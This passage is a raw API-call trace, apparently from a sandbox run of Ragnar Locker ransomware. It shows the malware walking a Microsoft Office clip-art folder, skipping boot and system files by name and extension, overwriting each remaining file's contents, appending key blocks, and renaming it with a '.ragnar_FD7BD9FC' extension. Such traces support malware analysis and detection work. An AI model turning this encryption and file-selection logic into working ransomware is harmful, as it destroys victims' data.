(hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.399] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.400] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.400] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.400] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.400] GetProcessHeap () returned 0x580000 [0090.400] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.400] CloseHandle (hObject=0xf4) returned 1 [0090.400] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" [0090.400] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.ragnar_FD7BD9FC" [0090.400] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0090.401] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.401] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03014_.GIF" | out: lpString1="PH03014_.GIF") returned="PH03014_.GIF" [0090.401] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF") returned=".GIF" [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="autorun.inf") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="boot.ini") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="bootfont.bin") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="bootsect.bak") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="bootmgr") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="bootmgr.efi") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="bootmgfw.efi") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="desktop.ini") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="iconcache.db") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="ntldr") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="ntuser.dat") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="ntuser.dat.log") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="ntuser.ini") returned 1 [0090.401] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="thumbs.db") returned -1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.401] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif")) returned 0x20 [0090.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.402] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18898) returned 1 [0090.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x49c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.402] GetProcessHeap () returned 0x580000 [0090.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.402] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.404] VirtualAlloc (lpAddress=0x0, dwSize=0x49d2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.404] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x49d2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x49d2, lpOverlapped=0x0) returned 1 [0090.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.405] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x49d2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x49d2, lpOverlapped=0x0) returned 1 [0090.405] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.405] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.406] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x49d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.406] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.406] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.406] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.406] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.406] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.406] GetProcessHeap () returned 0x580000 [0090.406] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.406] CloseHandle (hObject=0xf4) returned 1 [0090.406] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" [0090.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.ragnar_FD7BD9FC" [0090.406] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.407] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0090.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.407] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03041I.JPG" | out: lpString1="PH03041I.JPG") returned="PH03041I.JPG" [0090.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG") returned=".JPG" [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="autorun.inf") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="boot.ini") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="bootfont.bin") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="bootsect.bak") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="bootmgr") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="bootmgr.efi") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="desktop.ini") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="iconcache.db") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="ntldr") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="ntuser.dat") returned 1 [0090.407] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.408] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="ntuser.ini") returned 1 [0090.408] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="thumbs.db") returned -1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.408] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg")) returned 0x20 [0090.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.408] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30895) returned 1 [0090.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.408] GetProcessHeap () returned 0x580000 [0090.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.408] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.410] VirtualAlloc (lpAddress=0x0, dwSize=0x78af, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.410] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78af, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78af, lpOverlapped=0x0) returned 1 [0090.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.412] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78af, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.412] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78af, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78af, lpOverlapped=0x0) returned 1 [0090.412] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78af, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.412] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.412] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.412] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.413] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.413] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.413] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.413] GetProcessHeap () returned 0x580000 [0090.413] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.413] CloseHandle (hObject=0xf4) returned 1 [0090.413] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" [0090.413] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.ragnar_FD7BD9FC" [0090.413] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.414] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0090.414] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.414] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03143I.JPG" | out: lpString1="PH03143I.JPG") returned="PH03143I.JPG" [0090.414] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG") returned=".JPG" [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="autorun.inf") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="boot.ini") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="bootfont.bin") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="bootsect.bak") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="bootmgr") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="bootmgr.efi") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="desktop.ini") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="iconcache.db") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="ntldr") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="ntuser.dat") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="ntuser.ini") returned 1 [0090.414] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="thumbs.db") returned -1 [0090.414] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.414] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.414] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.414] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.414] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.415] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.415] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg")) returned 0x20 [0090.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.415] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29776) returned 1 [0090.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.415] GetProcessHeap () returned 0x580000 [0090.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.415] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.417] VirtualAlloc (lpAddress=0x0, dwSize=0x7450, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.417] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.417] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.417] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7450, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7450, lpOverlapped=0x0) returned 1 [0090.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.419] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7450, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.419] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7450, lpOverlapped=0x0) returned 1 [0090.419] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7450, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.419] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.419] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.419] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.419] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.419] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 